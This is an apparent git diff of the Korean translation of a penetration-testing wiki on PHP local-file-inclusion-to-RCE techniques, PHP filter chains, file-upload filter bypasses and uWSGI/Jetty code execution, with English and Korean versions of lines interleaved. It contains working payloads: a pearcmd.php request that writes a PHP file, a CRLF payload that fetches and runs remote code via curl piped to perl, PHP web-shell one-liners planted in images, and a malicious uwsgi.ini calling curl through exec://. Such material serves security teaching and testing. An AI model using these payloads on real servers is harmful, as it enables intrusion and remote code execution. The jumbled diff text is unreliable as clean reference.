lfi2rce-via-temp-file-uploads.md
{{#endref}}
### `pearcmd.php` + URL args를 통한 방법
### Via `pearcmd.php` + URL args
이 글에서 [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)와 같이, `/usr/local/lib/phppearcmd.php` 스크립트는 php docker images에 기본으로 존재합니다. 또한 URL 파라미터에 `=`가 없으면 그 파라미터가 인수로 사용된다고 되어 있어, URL을 통해 스크립트에 인자를 전달할 수 있습니다. 또한 [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)도 참고하세요.
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
다음 요청은 `/tmp/hello.php``<?=phpinfo()?>` 내용을 가진 파일을 생성합니다:
다음 요청은 `/tmp/hello.php`내용 `<?=phpinfo()?>`인 파일을 생성한다:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
다음은 CRLF vuln을 악용하여 RCE를 얻는 예제입니다 (출처: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
다음은 CRLF vuln을 악용해 RCE를 얻는 사례입니다 (출처: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### Via phpinfo() (file_uploads = on)
### phpinfo()를 통해 (file_uploads = on)
If you found a **Local File Inclusion** and a file exposing **phpinfo()** with file_uploads = on you can get RCE:
만약 **Local File Inclusion**를 발견했고 file_uploads = on인 **phpinfo()**를 노출하는 파일을 찾았다면 RCE를 얻을 수 있습니다:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure를 통해
If you found a **Local File Inclusion** and you **can exfiltrate the path** of the temp file BUT the **server** is **checking** if the **file to be included has PHP marks**, you can try to **bypass that check** with this **Race Condition**:
만약 **Local File Inclusion**를 발견했고 임시 파일의 경로를 **can exfiltrate the path** 할 수 있지만 **server**가 포함될 파일에 PHP 마크가 있는지를 **checking** 한다면, 이 **Race Condition**으로 그 검사를 **bypass that check** 시도해볼 수 있습니다:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Via eternal waiting + bruteforce
### eternal waiting + bruteforce를 통해
If you can abuse the LFI to **upload temporary files** and make the server **hang** the PHP execution, you could then **brute force filenames during hours** to find the temporary file:
만약 LFI를 악용해 **upload temporary files** 하고 서버가 PHP 실행을 **hang** 하게 만들 수 있다면, 몇 시간 동안 파일명을 **brute force filenames during hours** 하여 임시 파일을 찾을 수 있습니다:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### To Fatal Error
### Fatal Error
If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
다음 파일들 중 하나를 포함하면 `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (동일한 파일을 2번 포함해야 해당 오류를 발생시킬 수 있습니다).
**이게 어떻게 유용한지는 잘 모르겠지만 가능성은 있습니다.**\
_PHP Fatal Error를 발생시도 업로드된 PHP 임시 파일은 삭제됩니다._
_PHP Fatal Error를 발생시키더라도 업로드된 PHP 임시 파일은 삭제됩니다._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## 참고자료
## References
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
@ -668,6 +673,7 @@ _PHP Fatal Error를 발생시켜도 업로드된 PHP 임시 파일은 삭제됩
- [watchTowr We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
- [Orange Tsai Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
- [VTENEXT 25.02 a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#file}}
EN-Local-File-Inclusion-1.pdf

View File

@ -2,36 +2,37 @@
{{#include ../../banners/hacktricks-training.md}}
## Intro
이 [**작성물**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)는 **php 필터를 사용하여 임의의 콘텐츠**를 출력으로 생성할 수 있음을 설명합니다. 이는 기본적으로 **파일에 작성할 필요 없이** 포함할 **임의의 php 코드를 생성할 수 있음을 의미합니다**.
## 소개
기본적으로 스크립트의 목표는 **파일의 시작 부분에 Base64** 문자열을 **생성**하여 **최종적으로 디코딩**되어 원하는 페이로드를 **`include`에 의해 해석**되도록 하는 것입니다.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)은 **php filters를 사용해 임의의 콘텐츠를 생성**할 수 있다고 설명합니다. 즉 include를 위해 파일에 쓰지 않고도 **임의의 php 코드를 생성**할 수 있다는 뜻입니다.
이를 수행하기 위한 기초는 다음과 같습니다:
기본적으로 스크립트의 목표는 파일의 시작 부분에 **Base64 문자열을 생성**하고, 이 문자열이 최종적으로 디코드되어 원하는 페이로드를 제공하고 `include`에 의해 해석되도록 하는 것입니다.
- `convert.iconv.UTF8.CSISO2022KR`는 항상 문자열 앞에 `\x1b$)C`를 추가합니다.
- `convert.base64-decode`는 매우 관대하여, 기본적으로 유효한 base64가 아닌 모든 문자를 무시합니다. 예상치 못한 "="를 발견하면 문제가 발생하지만, 이는 `convert.iconv.UTF8.UTF7` 필터로 제거할 수 있습니다.
이를 위한 기본 원리는:
임의의 콘텐츠를 생성하는 루프는 다음과 같습니다:
- `convert.iconv.UTF8.CSISO2022KR`는 항상 문자열 앞에 `\x1b$)C`를 추가합니다
- `convert.base64-decode`는 매우 관대해서 유효한 base64가 아닌 문자는 사실상 무시합니다. 예상치 못한 "="를 만나면 문제가 생기지만 이는 `convert.iconv.UTF8.UTF7` 필터로 제거할 수 있습니다.
1. 위에서 설명한 대로 문자열 앞에 `\x1b$)C`를 추가합니다.
2. 초기 base64를 그대로 두고, 방금 추가한 부분을 유효한 base64 문자만 포함하는 문자열로 변환하는 iconv 변환 체인을 적용합니다.
3. 문자열을 base64 디코딩하고 다시 base64 인코딩하여 중간의 쓰레기를 제거합니다.
4. 우리가 구성하려는 base64가 아직 완료되지 않았다면 1로 돌아갑니다.
5. php 코드를 얻기 위해 base64 디코딩합니다.
임의의 콘텐츠를 생성하는 반복 과정은 다음과 같습니다:
1. 위에서 설명한 대로 문자열 앞에 `\x1b$)C`를 붙입니다
2. 초기 base64를 그대로 두고, 방금 붙인 부분을 변환해서 그 부분의 유효한 base64 문자가 다음 base64-인코딩된 php 코드의 다음 부분만 되도록 하는 iconv 변환 체인을 적용합니다
3. 문자열을 base64-decode한 다음 다시 base64-encode합니다. 이렇게 하면 중간의 불필요한 문자가 제거됩니다
4. 원하는 base64를 모두 구성하지 못했다면 1번으로 돌아갑니다
5. 마지막으로 base64-decode하여 php 코드를 얻습니다
> [!WARNING]
> **포함**은 일반적으로 **파일 끝에 ".php"를 추가하는** 작업을 수행하므로, 이를 악용하기 어렵게 만들 수 있습니다. 왜냐하면 당신은 익스플로잇을 죽이지 않는 콘텐츠를 가진 .php 파일을 찾아야 하기 때문입니다... 또는 **`php://temp`를 리소스로 사용할 수 있습니다**. 왜냐하면 이름에 **무엇이든 추가할 수 있기 때문입니다** (예: +".php") 그리고 여전히 익스플로잇이 작동하도록 허용합니다!
> **Includes**는 보통 파일 끝에 **".php"를 붙이는** 등의 처리를 합니다. 이 때문에 exploit을 어렵게 만들 수 있는데, 이는 exploit을 방해하지 않는 .php 파일을 찾아야 하기 때문입니다... 또는 **`php://temp`를 리소스로 사용**하면 이름에 무엇이든 덧붙일 수 있기 때문에(예: lie + ".php") 여전히 exploit이 작동하도록 할 수 있습니다!
## 결과 데이터에 접미사 추가하는 방법
## 결과 데이터에 접미사 추가하는 방법
[**이 작성물은 설명합니다**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) PHP 필터를 사용하여 결과 문자열에 접미사를 추가하는 방법을 설명합니다. 이는 출력이 특정 형식(예: json 또는 PNG 매직 바이트 추가)을 가져야 할 경우에 유용합니다.
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix)는 PHP filters를 이용해 결과 문자열에 접미사(예: json 형식이나 PNG 매직 바이트)를 추가하는 방법을 설명합니다. 출력이 특정 형식을 가져야 할 때 유용합니다.
## 자동 도구
## 자동 도구
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(접미사를 추가할 수 있음)**
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
## 전체 스크립트
```python
@ -95,7 +96,7 @@ print(r.text)
```
### 개선 사항
이전 스크립트는 해당 페이로드에 필요한 base64 문자로 제한됩니다. 따라서 **모든 base64 문자를 브루트포스하기 위한** 나만의 스크립트를 만들었습니다:
이전 스크립트는 해당 payload에 필요한 base64 문자로만 제한되어 있습니다. 따라서 저는 **bruteforce all the base64 characters** 하기 위해 자체 스크립트를 만들었습니다:
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -164,7 +165,7 @@ conversions = {
'=': ''
}
```
여기 각 b64 문자를 생성하는 인코딩을 얻기 위한 **스크립트**가 있습니다:
다음은 각 b64 문자를 생성하는 인코딩을 얻기 위한 **script**입니다:
```php
<?php
@ -250,9 +251,10 @@ find_vals($init);
}
?>
```
## 추가 참고자료
## 참고 자료
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,24 +4,24 @@
## 파일 업로드 일반 방법론
다른 유용한 확장자:
Other useful extensions:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **PHPv8에서 작업하기**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
- **Flash**: _.swf_
- **Perl**: _.pl, .cgi_
- **Erlang Yaws 웹 서버**: _.yaws_
- **Erlang Yaws Web Server**: _.yaws_
### 파일 확장자 검사 우회
1. 적용되는 경우, **이전 확장자**를 **확인**합니다. 또한 **대문자**를 사용하여 테스트합니다: _pHp, .pHP5, .PhAr ..._
2. _실행 확장자 **앞에 유효한 확장자를 추가** 확인합니다 (이전 확장자도 사용):_
1. 적용된다면, **이전 목록의 확장자들을 확인**하세요. 또한 일부 **대문자**로도 테스트하세요: _pHp, .pHP5, .PhAr ..._
2. _실행 확장자 앞에 유효한 확장자를 **추가**해보세요 (이전 확장자들도 사용):_
- _file.png.php_
- _file.png.Php5_
3. **끝에 특수 문자를 추가**해 보십시오. Burp를 사용하여 모든 **ascii** 및 **Unicode** 문자를 **브루트포스**할 수 있습니다. (_이전의 **확장자**를 사용해 볼 수도 있습니다_)
3. 파일명 끝에 **특수문자**를 추가해보세요. Burp로 모든 **ascii** 및 **Unicode** 문자를 **브루트포스**할 수 있습니다. (_이전에 언급한 **확장자들**을 이용해 시도할 수도 있습니다_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. **서버 측의 확장자 파서를 속여** 보호를 우회해 보십시오. **확장자를 두 번** 추가하거나 **쓰레기** 데이터 (**null** 바이트)를 확장자 사이에 추가하는 기술을 사용할 수 있습니다. _더 나은 페이로드를 준비하기 위해 **이전 확장자**를 사용할 수도 있습니다._
4. **확장자 파서**를 속이는 방식으로 보호를 우회해보세요. 예: **확장자 중복** 또는 확장자 사이에 **정크 데이터(널 바이트 등)** 추가. _더 나은 페이로드를 위해 이전 확장자들을 함께 사용하세요._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,73 +40,74 @@
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. 이전 검사에 **또 다른 확장자 레이어**를 추가합니다:
5. 이전 검사에 **추가 확장자 레이어**를 더해보세요:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. **유효한 확장자 앞에 exec 확장자를 넣고** 서버가 잘못 구성되기를 기도합니다. (확장자가 **.php**로 끝나지 않더라도 **.php**가 있는 모든 것이 코드를 실행하는 Apache 잘못 구성의 경우 유용합니다):
- _: file.php.png_
7. **Windows**에서 **NTFS 대체 데이터 스트림 (ADS)** 사용. 이 경우, 금지된 확장자 뒤에 콜론 문자 “:”가 삽입되고 허용된 확장자 앞에 삽입됩니다. 결과적으로, 서버에 **금지된 확장자를 가진 빈 파일**이 생성됩니다 (예: “file.asax:.jpg”). 이 파일은 나중에 다른 기술을 사용하여 편집할 수 있습니다. “**::$data**” 패턴을 사용하여 비어 있지 않은 파일을 생성할 수도 있습니다. 따라서 이 패턴 뒤에 점 문자를 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: “file.asp::$data.”)
8. 파일 이름 제한을 **깨뜨려** 보십시오. 유효한 확장자가 잘리게 됩니다. 그리고 악성 PHP가 남게 됩니다. AAA<--SNIP-->AAA.php
6. **실행 확장자를 유효한 확장자 앞에 넣어** 서버가 잘못 구성된 경우를 노리세요. (Apache에서 확장자가 `.php`를 포함하면 실행되는 설정을 악용할 때 유용)
- _ex: file.php.png_
7. **Windows의 NTFS alternate data stream (ADS)** 사용을 시도하세요. 이 경우 금지된 확장자 뒤와 허용된 확장자 사이에 콜론 ":"이 삽입됩니다. 결과적으로 **금지된 확장자를 가진 빈 파일**이 서버에 생성될 수 있습니다 (예: "file.asax:.jpg"). 이 파일은 이후 다른 기법으로 편집될 수 있습니다(예: 짧은 파일명 사용). "**::$data**” 패턴을 사용해 비어있지 않은 파일을 만들 수도 있습니다. 따라서 이 패턴 뒤에 점을 추가하면 추가 제한을 우회하는 데 유용할 수 있습니다 (예: "file.asp::$data.")
8. 파일명 길이 제한을 깨보세요. 유효한 확장자가 잘리고 악성 PHP가 남을 수 있습니다. AAA<--SNIP-->AAA.php
```
# 리눅스 최대 255 바이트
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 여기서 4를 빼고 .png 추가
# 파일을 업로드하고 응답을 확인하여 허용되는 문자의 수를 확인합니다. 236이라고 가정합시다.
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# 페이로드 만들기
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
```
### Content-Type, 매직 넘버, 압축 및 크기 조정 우회
### Content-Type, Magic Number, 압축 및 리사이즈 우회
- **Content-Type** 검사를 우회하려면 **Content-Type** **헤더**의 **값**을 다음으로 설정합니다: _image/png_, _text/plain_, application/octet-stream_
1. Content-Type **단어 목록**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- 파일의 시작 부분에 **실제 이미지의 바이트**를 추가하여 **매직 넘버** 검사를 우회합니다 (파일 명령을 혼란스럽게 함). 또는 **메타데이터** 내에 쉘을 삽입합니다:\
- **Content-Type** 검사를 우회하려면 요청의 **Content-Type 헤더** 값을 다음으로 설정해보세요: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **워드리스트**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- **magic number** 검사를 우회하려면 파일 시작 부분에 실제 이미지의 **바이트**를 추가해 `file` 명령을 혼동시키거나, 셸 코드를 **메타데이터** 안에 넣으세요:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` 또는 이미지를 통해 **페이로드를 직접 삽입**할 수도 있습니다:\
`\` 또는 이미지를 직접 페이로드로 조작할 수도 있습니다:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- **압축이 이미지에 추가되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php)와 같은 일부 표준 PHP 라이브러리를 사용하는 경우, 이전 기술은 유용하지 않을 수 있습니다. 그러나 **PLTE 청크** [**여기에서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다.
- 이미지에 **압축**이 적용되는 경우(예: PHP-GD 같은 라이브러리를 사용할 때) 위 기법들은 무용지물이 될 수 있습니다. 이런 경우 **PLTE chunk** [**기법 (링크)**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용해 압축을 견디는 텍스트를 삽입할 수 있습니다.
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- 웹 페이지가 **이미지의 크기를 조정**할 수도 있습니다. 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용하는 경우, 그러나 **IDAT 청크** [**여기에서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다.
- 웹 페이지가 PHP-GD의 `imagecopyresized` 또는 `imagecopyresampled` 같은 함수로 **이미지 리사이즈**를 수행하는 경우가 있습니다. 이럴 때는 **IDAT chunk** [**기법 (링크)**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 이용해 압축을 견디는 텍스트를 삽입할 수 있습니다.
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 이미지를 **크기 조정**할 때 **견딜 수 있는** 페이로드를 만드는 또 다른 기술로 PHP-GD 함수 `thumbnailImage`를 사용할 수 있습니다. 그러나 **tEXt 청크** [**여기에서 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다.
- PHP-GD의 `thumbnailImage` 함수를 사용하는 리사이즈를 견디는 페이로드를 만드는 다른 기법도 있습니다. 또는 **tEXt chunk** [**기법 (링크)**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용해 압축을 견디는 텍스트를 삽입할 수 있습니다.
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### 확인할 다른 트릭
### 확인할 기타 트릭
- 이미 업로드된 파일의 **이름을 바꿀 수 있는** 취약점을 찾습니다 (확장자를 변경).
- 백도어를 실행하기 위**로컬 파일 포함** 취약점을 찾습니다.
- 이미 업로드된 파일의 이름을 **변경(rename)**할 수 있는 취약점을 찾아보세요 (확장자 변경).
- 백도어를 실행하기 위**Local File Inclusion** 취약점을 찾아보세요.
- **정보 유출 가능성**:
1. **동일한 이름**의 **동일한 파일**을 **여러 번** (그리고 **동시에**) 업로드합니다.
2. **이미 존재하는** **파일** 또는 **폴더**의 **이름**으로 파일을 업로드합니다.
3. **“.”, “..”, 또는 “…”**를 이름으로 가진 파일을 업로드합니다. 예를 들어, Windows의 Apache에서 애플리케이션이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하는 경우, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다.
4. **NTFS**에서 쉽게 삭제할 수 없는 파일을 업로드합니다 (예: **“…:.jpg”**). (Windows)
5. **Windows**에서 이름에 **잘못된 문자**가 포함된 파일을 업로드합니다 (예: `|<>*?”`). (Windows)
6. **Windows**에서 **예약된** (**금지된**) **이름**으로 파일을 업로드합니다 (예: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9).
- 또한 **실행 파일** (.exe) 또는 **.html** (덜 의심스러운) 파일을 업로드하여 피해자가 우연히 열었을 때 **코드를 실행**하도록 합니다.
1. 같은 파일을 **여러 번** (동시에) 업로드해보세요.
2. 이미 존재하는 **파일명** 또는 **폴더명**과 같은 이름으로 업로드해보세요.
3. 파일명을 `"."`, "..", 또는 "..."로 업로드해보세요. 예: Windows의 Apache에서 애플리케이션이 "/www/uploads/"에 업로드하면, "." 파일명은 "/www/"에 "uploads"라는 파일을 생성할 수 있습니다.
4. NTFS에서 삭제하기 어려운 파일(예: **"…:.jpg"**)을 업로드해보세요. (Windows)
5. Windows에서 파일명에 `|<>*?”` 같은 **유효하지 않은 문자**를 포함해 업로드해보세요. (Windows)
6. CON, PRN, AUX, NUL, COM1... 같은 **예약된(금지된) 이름**을 사용해 Windows에 업로드해보세요.
- 실수로 피해자가 열었을 때 **코드가 실행되는 .exe**나 덜 의심스러운 **.html**을 업로드하는 것도 시도해보세요.
### 특별한 확장자 트릭
### 특 확장자 트릭
**PHP 서버**에 파일을 업로드하려는 경우, [코드를 실행하기 위한 **.htaccess** 트릭을 확인하십시오](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
**ASP 서버**에 파일을 업로드하려는 경우, [코드를 실행하기 위한 **.config** 트릭을 확인하십시오](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
PHP 서버에 파일을 업로드하려면 [코드 실행을 위한 **.htaccess** 트릭](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)을 확인하세요.\
ASP 서버에 업로드한다면 [코드 실행을 위한 **.config** 트릭](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)을 확인하세요.
`.phar` 파일은 Java의 `.jar`와 유사하지만 PHP용이며, **PHP 파일처럼 사용**될 수 있습니다 (PHP로 실행하거나 스크립트 내에 포함).
`.inc` 확장자는 때때로 파일을 **가져오는 데만 사용되는** PHP 파일에 사용되므로, 누군가 이 확장자가 **실행되도록 허용했을 수 있습니다**.
`.phar` 파일은 자바의 `.jar`와 유사하지만 php용이며, **php 파일처럼 사용**될 수 있습니다(php로 실행하거나 스크립트에 include).
`.inc` 확장자는 종종 import 용도의 php 파일에 사용되므로, 어떤 경우에는 이 확장자가 실행되도록 허용되었을 수 있습니다.
## **Jetty RCE**
Jetty 서버에 XML 파일을 업로드할 수 있다면, [RCE를 얻을 수 있습니다. **새로운 \*.xml 및 \*.war가 자동으로 처리됩니다**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** 따라서 다음 이미지에서 언급된 대로 XML 파일을 `$JETTY_BASE/webapps/`에 업로드하고 셸을 기대하십시오!
Jetty 서버에 XML 파일을 업로드할 수 있다면 [새로운 \*.xml 및 \*.war가 자동으로 처리되기 때문에 RCE를 얻을 수 있습니다](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** 따라서, 다음 이미지에서 언급된 것처럼 XML 파일을 `$JETTY_BASE/webapps/`에 업로드하면 셸을 기대할 수 있습니다!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
이 취약점에 대한 자세한 탐색은 원본 연구를 확인하십시오: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
이 취약점에 대한 자세한 분석은 원본 리서치를 확인하세요: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
원격 명령 실행 (RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "매직" 변수, 자리 표시자 및 연산자를 포함하기 위해 특정 구문을 활용합니다. 특히, `@(filename)`으로 사용되는 '@' 연산자는 파일의 내용을 포함하도록 설계되었습니다. uWSGI에서 지원되는 다양한 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 원격 명령 실행 또는 임의 파일 쓰기/읽기를 위해 악용될 수 있습니다.
Remote Command Execution (RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있을 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "magic" 변수, 플레이스홀더 및 연산자를 포함하는 특정 문법을 사용합니다. 특히 `@(filename)` 형식으로 사용되는 '@' 연산자는 파일 내용을 포함하기 위해 설계되었습니다. uWSGI가 지원하는 여러 스킴 중에서 "exec" 스킴은 프로세스 표준 출력에서 데이터를 읽을 수 있게 하며, `.ini` 구성 파일이 처리될 때 이를 조작하면 Remote Command Execution 또는 Arbitrary File Write/Read에 악용될 수 있습니다.
다음은 다양한 스킴을 보여주는 악의적인 `uwsgi.ini` 파일 예시를 고려하세요:
```ini
[uwsgi]
; read from a symbol
@ -124,14 +125,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
페이로드의 실행은 구성 파일의 파싱 중에 발생합니다. 구성이 활성화되고 파싱되기 위해서는 uWSGI 프로세스를 재시작해야 하며(충돌 후 또는 서비스 거부 공격으로 인해) 파일이 자동으로 다시 로드되도록 설정되어야 합니다. 자동 다시 로드 기능이 활성화된 경우, 변경 사항을 감지하면 지정된 간격으로 파일을 다시 로드합니다.
